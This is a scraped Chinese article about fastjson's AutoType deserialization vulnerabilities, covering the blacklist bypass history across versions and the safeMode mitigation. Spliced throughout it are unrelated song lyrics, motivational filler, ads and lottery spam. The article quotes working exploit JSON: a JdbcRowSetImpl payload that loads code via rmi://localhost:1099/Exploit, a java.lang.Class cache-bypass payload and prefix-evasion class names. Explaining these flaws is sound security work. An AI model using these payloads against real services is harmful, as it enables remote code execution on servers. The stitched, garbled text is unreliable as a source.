fastjson到底做錯了什么?為什么會被頻繁爆出漏洞?(推薦)_其它綜合

來源:腳本之家  責任編輯:小易  

阿里巴巴那個包,toJSONString(d)不支持list對象www.anxorj.tw防采集請勿采集本網。

GitHub 15.8k Star 的Java工程師成神之路,不來了解一下嗎!

做錯什么?也許你并不知道!只有老天爺知道,所以它要懲罰你。但不管做什么,都不能違背自己的良心,而且必須要專心。

GitHub 15.8k Star 的Java工程師成神之路,真的不來了解一下嗎!

將private Timestamp birth;增加一個對應字符串定義private String birthStr;在s變量里,將birth改為birthStr。在birthStr的set方法里,對birth賦值。

GitHub 15.8k Star 的Java工程師成神之路,真的真的不來了解一下嗎!

每個人都是獨一無二的,即使是樹葉,也沒有完全相同的。每個人都有存在的意義,因為這世界上沒有第二個你 積極點,樂觀點。稍微地奮斗一下,稍微的堅持一下,人生會更精彩

fastjson大家一定都不陌生,這是阿里巴巴的開源一個JSON解析庫,通常被用于將Java Bean和JSON 字符串之間進行轉換。

我到底做了什么讓你難過 我到底做了什么讓你難過 我到底做了什么讓你難過 我應該做出什么讓你記得我 記得我 這八年我們一起走過 未想過何時是終點 難道注定隨記憶塵封 我到底做了什么讓你難過 我到底做了

前段時間,fastjson被爆出過多次存在漏洞,很多文章報道了這件事兒,并且給出了升級建議。

歌曲:到底我做錯了什么 作詞:趙影風 作曲:阿K 編曲:趙影風 混音:阿K 和聲:司徒清風 演唱:趙影風 歌詞: 到底我做錯了什么 你要殘忍傷害我 難道你真的不愛我嗎 我要你親口來回答 曾經對我

但是作為一個開發者,我更關注的是他為什么會頻繁被爆漏洞?于是我帶著疑惑,去看了下fastjson的releaseNote以及部分源代碼。

阿里巴巴那個包,toJSONString(d)不支持list對象。

最終發現,這其實和fastjson中的一個AutoType特性有關。

我到底做錯了什么 作詞:小璞 作曲:劉牧 演唱:劉牧 我到底做錯了什么 讓你變得如此的冷漠 一句話都不愿再說 這樣的懲罰讓我難過 看到你淚水偷偷在滴落 月亮懂得你訴說 我到底做錯了什么 云在

從2019年7月份發布的v1.2.59一直到2020年6月份發布的 v1.2.71 ,每個版本的升級中都有關于AutoType的升級。

下面是fastjson的官方releaseNotes 中,幾次關于AutoType的重要升級:

1.2.59發布,增強AutoType打開時的安全性 fastjson

1.2.60發布,增加了AutoType黑名單,修復拒絕服務安全問題 fastjson

1.2.61發布,增加AutoType安全黑名單 fastjson

1.2.62發布,增加AutoType黑名單、增強日期反序列化和JSONPath fastjson

1.2.66發布,Bug修復安全加固,并且做安全加固,補充了AutoType黑名單 fastjson

1.2.67發布,Bug修復安全加固,補充了AutoType黑名單 fastjson

1.2.68發布,支持GEOJSON,補充了AutoType黑名單。(引入一個safeMode的配置,配置safeMode后,無論白名單和黑名單,都不支持autoType。) fastjson

1.2.69發布,修復新發現高危AutoType開關繞過安全漏洞,補充了AutoType黑名單 fastjson

1.2.70發布,提升兼容性,補充了AutoType黑名單

甚至在fastjson的開源庫中,有一個Issue是建議作者提供不帶autoType的版本:

那么,什么是AutoType?為什么fastjson要引入AutoType?為什么AutoType會導致安全漏洞呢?本文就來深入分析一下。

AutoType 何方神圣?

fastjson的主要功能就是將Java Bean序列化成JSON字符串,這樣得到字符串之后就可以通過數據庫等方式進行持久化了。

但是,fastjson在序列化以及反序列化的過程中并沒有使用Java自帶的序列化機制,而是自定義了一套機制。

其實,對于JSON框架來說,想要把一個Java對象轉換成字符串,可以有兩種選擇: 1、基于屬性 2、基于setter/getter

而我們所常用的JSON序列化框架中,FastJson和jackson在把對象序列化成json字符串的時候,是通過遍歷出該類中的所有getter方法進行的。Gson并不是這么做的,他是通過反射遍歷該類中的所有屬性,并把其值序列化成json。

假設我們有以下一個Java類:

class Store { private String name; private Fruit fruit; public String getName() { return name; } public void setName(String name) { this.name = name; } public Fruit getFruit() { return fruit; } public void setFruit(Fruit fruit) { this.fruit = fruit; }}interface Fruit {}class Apple implements Fruit { private BigDecimal price; //省略 setter/getter、toString等}

當我們要對他進行序列化的時候,fastjson會掃描其中的getter方法,即找到getName和getFruit,這時候就會將name和fruit兩個字段的值序列化到JSON字符串中。

那么問題來了,我們上面的定義的Fruit只是一個接口,序列化的時候fastjson能夠把屬性值正確序列化出來嗎?如果可以的話,那么反序列化的時候,fastjson會把這個fruit反序列化成什么類型呢?

我們嘗試著驗證一下,基于(fastjson v 1.2.68):

Store store = new Store();store.setName("Hollis");Apple apple = new Apple();apple.setPrice(new BigDecimal(0.5));store.setFruit(apple);String jsonString = JSON.toJSONString(store);System.out.println("toJSONString : " + jsonString);

以上代碼比較簡單,我們創建了一個store,為他指定了名稱,并且創建了一個Fruit的子類型Apple,然后將這個store使用JSON.toJSONString進行序列化,可以得到以下JSON內容:

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}

那么,這個fruit的類型到底是什么呢,能否反序列化成Apple呢?我們再來執行以下代碼:

Store newStore = JSON.parseObject(jsonString, Store.class);System.out.println("parseObject : " + newStore);Apple newApple = (Apple)newStore.getFruit();System.out.println("getFruit : " + newApple);

執行結果如下:

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}

parseObject : Store{name='Hollis', fruit={}}

Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple

at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)

可以看到,在將store反序列化之后,我們嘗試將Fruit轉換成Apple,但是拋出了異常,嘗試直接轉換成Fruit則不會報錯,如:

Fruit newFruit = newStore.getFruit();

System.out.println("getFruit : " + newFruit);

以上現象,我們知道,當一個類中包含了一個接口(或抽象類)的時候,在使用fastjson進行序列化的時候,會將子類型抹去,只保留接口(抽象類)的類型,使得反序列化時無法拿到原始類型。

那么有什么辦法解決這個問題呢,fastjson引入了AutoType,即在序列化的時候,把原始類型記錄下來。

使用方法是通過SerializerFeature.WriteClassName進行標記,即將上述代碼中的

 String jsonString = JSON.toJSONString(store);

修改成:

 String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);

即可,以上代碼,輸出結果如下:

System.out.println("toJSONString : " + jsonString);{ "@type":"com.hollis.lab.fastjson.test.Store", "fruit":{ "@type":"com.hollis.lab.fastjson.test.Apple", "price":0.5 }, "name":"Hollis"}

可以看到,使用SerializerFeature.WriteClassName進行標記后,JSON字符串中多出了一個@type字段,標注了類對應的原始類型,方便在反序列化的時候定位到具體類型

如上,將序列化后的字符串在反序列化,既可以順利的拿到一個Apple類型,整體輸出內容:

toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}getFruit : Apple{price=0.5}

這就是AutoType,以及fastjson中引入AutoType的原因。

但是,也正是這個特性,因為在功能設計之初在安全方面考慮的不夠周全,也給后續fastjson使用者帶來了無盡的痛苦

AutoType 何錯之有?

因為有了autoType功能,那么fastjson在對JSON字符串進行反序列化的時候,就會讀取@type到內容,試圖把JSON內容反序列化成這個對象,并且會調用這個類的setter方法。

那么就可以利用這個特性,自己構造一個JSON字符串,并且使用@type指定一個自己想要使用的攻擊類庫。

舉個例子,黑客比較常用的攻擊類庫是com.sun.rowset.JdbcRowSetImpl,這是sun官方提供的一個類庫,這個類的dataSourceName支持傳入一個rmi的源,當解析這個uri的時候,就會支持rmi遠程調用,去指定的rmi地址中去調用方法。

而fastjson在反序列化時會調用目標類的setter方法,那么如果黑客在JdbcRowSetImpl的dataSourceName中設置了一個想要執行的命令,那么就會導致很嚴重的后果。

如通過以下方式定一個JSON串,即可實現遠程命令執行(在早期版本中,新版本中JdbcRowSetImpl已經被加了黑名單)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

這就是所謂的遠程命令執行漏洞,即利用漏洞入侵到目標服務器,通過服務器執行命令。

在早期的fastjson版本中(v1.2.25 之前),因為AutoType是默認開啟的,并且也沒有什么限制,可以說是裸著的。

從v1.2.25開始,fastjson默認關閉了autotype支持,并且加入了checkAutotype,加入了黑名單+白名單來防御autotype開啟的情況。

但是,也是從這個時候開始,黑客和fastjson作者之間的博弈就開始了。

因為fastjson默認關閉了autotype支持,并且做了黑白名單的校驗,所以攻擊方向就轉變成了"如何繞過checkAutotype"。

下面就來細數一下各個版本的fastjson中存在的漏洞以及攻擊原理,由于篇幅限制,這里并不會講解的特別細節,如果大家感興趣我后面可以單獨寫一篇文章講講細節。下面的內容主要是提供一些思路,目的是說明寫代碼的時候注意安全性的重要性。

繞過checkAutotype,黑客與fastjson的博弈

在fastjson v1.2.41 之前,在checkAutotype的代碼中,會先進行黑白名單的過濾,如果要反序列化的類不在黑白名單中,那么才會對目標類進行反序列化。

但是在加載的過程中,fastjson有一段特殊的處理,那就是在具體加載類的時候會去掉className前后的L;,形如Lcom.lang.Thread;。

而黑白名單又是通過startWith檢測的,那么黑客只要在自己想要使用的攻擊類庫前后加上L;就可以繞過黑白名單的檢查了,也不耽誤被fastjson正常加載。

Lcom.sun.rowset.JdbcRowSetImpl;,會先通過白名單校驗,然后fastjson在加載類的時候會去掉前后的L,變成了com.sun.rowset.JdbcRowSetImpl`。

為了避免被攻擊,在之后的 v1.2.42版本中,在進行黑白名單檢測的時候,fastjson先判斷目標類的類名的前后是不是L;,如果是的話,就截取掉前后的L;再進行黑白名單的校驗。

看似解決了問題,但是黑客發現了這個規則之后,就在攻擊時在目標類前后雙寫LL;;,這樣再被截取之后還是可以繞過檢測。如LLcom.sun.rowset.JdbcRowSetImpl;;

魔高一尺,道高一丈。在 v1.2.43中,fastjson這次在黑白名單判斷之前,增加了一個是否以LL未開頭的判斷,如果目標類以LL開頭,那么就直接拋異常,于是就又短暫的修復了這個漏洞。

黑客在L;這里走不通了,于是想辦法從其他地方下手,因為fastjson在加載類的時候,不只對L;這樣的類進行特殊處理,還對[也被特殊處理了。

同樣的攻擊手段,在目標類前面添加[,v1.2.43以前的所有版本又淪陷了。

于是,在 v1.2.44版本中,fastjson的作者做了更加嚴格的要求,只要目標類以[開頭或者以;結尾,都直接拋異常。也就解決了 v1.2.43及歷史版本中發現的bug。

在之后的幾個版本中,黑客的主要的攻擊方式就是繞過黑名單了,而fastjson也在不斷的完善自己的黑名單。

autoType不開啟也能被攻擊?

但是好景不長,在升級到 v1.2.47 版本時,黑客再次找到了辦法來攻擊。而且這個攻擊只有在autoType關閉的時候才生效。

是不是很奇怪,autoType不開啟反而會被攻擊。

因為在fastjson中有一個全局緩存,在類加載的時候,如果autotype沒開啟,會先嘗試從緩存中獲取類,如果緩存中有,則直接返回。黑客正是利用這里機制進行了攻擊。

黑客先想辦法把一個類加到緩存中,然后再次執行的時候就可以繞過黑白名單檢測了,多么聰明的手段。

首先想要把一個黑名單中的類加到緩存中,需要使用一個不在黑名單中的類,這個類就是java.lang.Class

java.lang.Class類對應的deserializer為MiscCodec,反序列化時會取json串中的val值并加載這個val對應的類。

如果fastjson cache為true,就會緩存這個val對應的class到全局緩存中

如果再次加載val名稱的類,并且autotype沒開啟,下一步就是會嘗試從全局緩存中獲取這個class,進而進行攻擊。

所以,黑客只需要把攻擊類偽裝以下就行了,如下格式:

{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}

于是在 v1.2.48中,fastjson修復了這個bug,在MiscCodec中,處理Class類的地方,設置了fastjson cache為false,這樣攻擊類就不會被緩存了,也就不會被獲取到了。

在之后的多個版本中,黑客與fastjson又繼續一直都在繞過黑名單、添加黑名單中進行周旋。

直到后來,黑客在 v1.2.68之前的版本中又發現了一個新的漏洞利用方式。

利用異常進行攻擊

在fastjson中, 如果,@type 指定的類為 Throwable 的子類,那對應的反序列化處理類就會使用到 ThrowableDeserializer

而在ThrowableDeserializer#deserialze的方法中,當有一個字段的key也是 @type時,就會把這個 value 當做類名,然后進行一次 checkAutoType 檢測。

并且指定了expectClass為Throwable.class,但是在checkAutoType中,有這樣一約定,那就是如果指定了expectClass ,那么也會通過校驗。

因為fastjson在反序列化的時候會嘗試執行里面的getter方法,而Exception類中都有一個getMessage方法。

黑客只需要自定義一個異常,并且重寫其getMessage就達到了攻擊的目的。

這個漏洞就是6月份全網瘋傳的那個"嚴重漏洞",使得很多開發者不得不升級到新版本。

這個漏洞在 v1.2.69中被修復,主要修復方式是對于需要過濾掉的expectClass進行了修改,新增了4個新的類,并且將原來的Class類型的判斷修改為hash的判斷。

其實,根據fastjson的官方文檔介紹,即使不升級到新版,在v1.2.68中也可以規避掉這個問題,那就是使用safeMode

AutoType 安全模式?

可以看到,這些漏洞的利用幾乎都是圍繞AutoType來的,于是,在 v1.2.68版本中,引入了safeMode,配置safeMode后,無論白名單和黑名單,都不支持autoType,可一定程度上緩解反序列化Gadgets類變種攻擊。

設置了safeMode后,@type 字段不再生效,即當解析形如{"@type": "com.java.class"}的JSON串時,將不再反序列化出對應的類。

開啟safeMode方式如下:

ParserConfig.getGlobalInstance().setSafeMode(true);

如在本文的最開始的代碼示例中,使用以上代碼開啟safeMode模式,執行代碼,會得到以下異常:

Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple

at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)

但是值得注意的是,使用這個功能,fastjson會直接禁用autoType功能,即在checkAutoType方法中,直接拋出一個異常。

后話

目前fastjson已經發布到了 v1.2.72版本,歷史版本中存在的已知問題在新版本中均已修復。

開發者可以將自己項目中使用的fastjson升級到最新版,并且如果代碼中不需要用到AutoType的話,可以考慮使用safeMode,但是要評估下對歷史代碼的影響。

因為fastjson自己定義了序列化工具類,并且使用asm技術避免反射、使用緩存、并且做了很多算法優化等方式,大大提升了序列化及反序列化的效率。

之前有網友對比過:

當然,快的同時也帶來了一些安全性問題,這是不可否認的。

最后,其實我還想說幾句,雖然fastjson是阿里巴巴開源出來的,但是據我所知,這個項目大部分時間都是其作者溫少一個人在靠業余時間維護的。

知乎上有網友說:"溫少幾乎憑一己之力撐起了一個被廣泛使用JSON庫,而其他庫幾乎都是靠一整個團隊,就憑這一點,溫少作為“初心不改的阿里初代開源人”,當之無愧。"

其實,關于fastjson漏洞的問題,阿里內部也有很多人詬病過,但是詬病之后大家更多的是給予理解和包容。

fastjson目前是國產類庫中比較出名的一個,可以說是倍受關注,所以漸漸成了安全研究的重點,所以會有一些深度的漏洞被發現。就像溫少自己說的那樣:

"和發現漏洞相比,更糟糕的是有漏洞不知道被人利用。及時發現漏洞并升級版本修復是安全能力的一個體現。"

就在我寫這篇文章的時候,在釘釘上問了溫少一個問題,他竟然秒回,這令我很驚訝。因為那天是周末,周末釘釘可以做到秒回,這說明了什么?

他大概率是在利用自己的業余維護fastjson吧...

最后,知道了fastjson歷史上很多漏洞產生的原因之后,其實對我自己來說,我是"更加敢用"fastjson了...

致敬fastjson!致敬安全研究者!致敬溫少!

參考資料:

https://github.com/alibaba/fastjson/releases

https://github.com/alibaba/fastjson/wiki/security_update_20200601

https://paper.seebug.org/1192/

https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ

http://www.lmxspace.com/2019/06/29/FastJson-反序列化學習

總結

到此這篇關于fastjson到底做錯了什么?為什么會被頻繁爆出漏洞?的文章就介紹到這了,更多相關fastjson 漏洞內容請搜索真格學網以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持真格學網!

可以安裝一個電腦管家在電腦上然后打開工具箱,在里面找到修復漏洞功能使用這個功能,去修復電腦所有檢測出的高危漏洞即可內容來自www.anxorj.tw請勿采集。


  • 本文相關:
  • 親手帶你解決debug fastjson的安全漏洞
  • springboot redis配置fastjson進行序列化和反序列化實現
  • 解決fastjson中"$ref重復引用"的問題方法
  • spring mvc+fastjson+swagger集成的完整實例教程
  • fastjson對于json格式字符串、json對象及javabean之間的相互轉換操作
  • wpf滑塊控件(slider)的自定義樣式
  • hadoop二次排序的原理和實現方法
  • 詳解vscode自動補全css3前綴插件以及配置無效的解決辦法
  • dedecms 5.7 sp1遠程文件包含漏洞(cve-2015-4553)
  • 簡單介紹http請求方式中8種請求方法
  • http 狀態代碼 指示(ajax,bs結構用的到)
  • atom-ide 的使用方法簡單介紹
  • 好玩的vbs小程序之關機功能
  • 微信公眾平臺開發——群發信息
  • github eclipse配置使用教程詳解
  • fastjson反序列化漏洞中shellcode為什么要加密
  • google的gson和阿里巴巴的fastjson,為什么把有關...
  • 幫我分析下log日志的報錯,為什么fastjson不能轉換?
  • fastjson-version 1.2.44 報錯了,javaweb這是啥問題呀
  • 我到底做錯了什么,為什么老天爺要這樣懲罰我?
  • fastjson 中JSON.parseArray對Timestamp的處理
  • 為什么命運對我這么不公平,我到底做錯了什么,從小到大沒做過一件順心的事,一直很倒霉在別人眼里看起來
  • 歌詞中高潮是 我到底做錯了什么讓你難過 是哪首歌
  • 一首歌的歌詞是到底我做錯了什么
  • google的gson和阿里巴巴的fastjson,為什么把有關聯實體轉json就會報錯啊,說缺少字段什么亂七八糟的。
  • 跪求,歌詞里有:到底我做錯了什么,或者我到底做錯了什么;蛘:我做錯了什么。記不清楚了。是男唱,很
  • 為什么我感覺我會這么倒霉,怒火中燒,我到底做錯了什么?
  • 網站首頁網頁制作腳本下載服務器操作系統網站運營平面設計媒體動畫電腦基礎硬件教程網絡安全javascriptasp.netphp編程ajax相關正則表達式asp編程jsp編程編程10000問css/htmlflex腳本加解密web2.0xml/rss網頁編輯器相關技巧安全相關網頁播放器其它綜合dart首頁其它綜合親手帶你解決debug fastjson的安全漏洞springboot redis配置fastjson進行序列化和反序列化實現解決fastjson中"$ref重復引用"的問題方法spring mvc+fastjson+swagger集成的完整實例教程fastjson對于json格式字符串、json對象及javabean之間的相互轉換操作wpf滑塊控件(slider)的自定義樣式hadoop二次排序的原理和實現方法詳解vscode自動補全css3前綴插件以及配置無效的解決辦法dedecms 5.7 sp1遠程文件包含漏洞(cve-2015-4553)簡單介紹http請求方式中8種請求方法atom-ide 的使用方法簡單介紹好玩的vbs小程序之關機功能微信公眾平臺開發——群發信息github eclipse配置使用教程詳解最新idea2020注冊碼永久激活(激活刪除svn三種方法delsvn(windows+intellij idea激活碼獲取方法(iintellij idea2020永久破解,親測c/s和b/s兩種架構的概念、區別和網址(url)支持的最大長度是多少5個linux平臺程序員最愛的開發工url中斜杠/和反斜杠\的區別小結提示“處理url時服務器出錯”和“解決maven第一次創建項目太慢的問題delphi 本地路徑的創建、清空本地指定文件科學知識:同步、異步、阻塞和非阻塞區別在windows系統上安裝cygwin搭建swoole測試vscode各語言運行環境配置方法示例詳解win10環境下使用hyper-v進行虛擬機創建的打造博客園(cnblogs)超級自定義界面詳解vscode自動補全css3前綴插件以及配置從chrome app看微信小程序的發展前景asp php 清空access mysql mssql數據庫的
    免責聲明 - 關于我們 - 聯系我們 - 廣告聯系 - 友情鏈接 - 幫助中心 - 頻道導航
    Copyright © 2017 www.anxorj.tw All Rights Reserved
    陕西快乐10分下载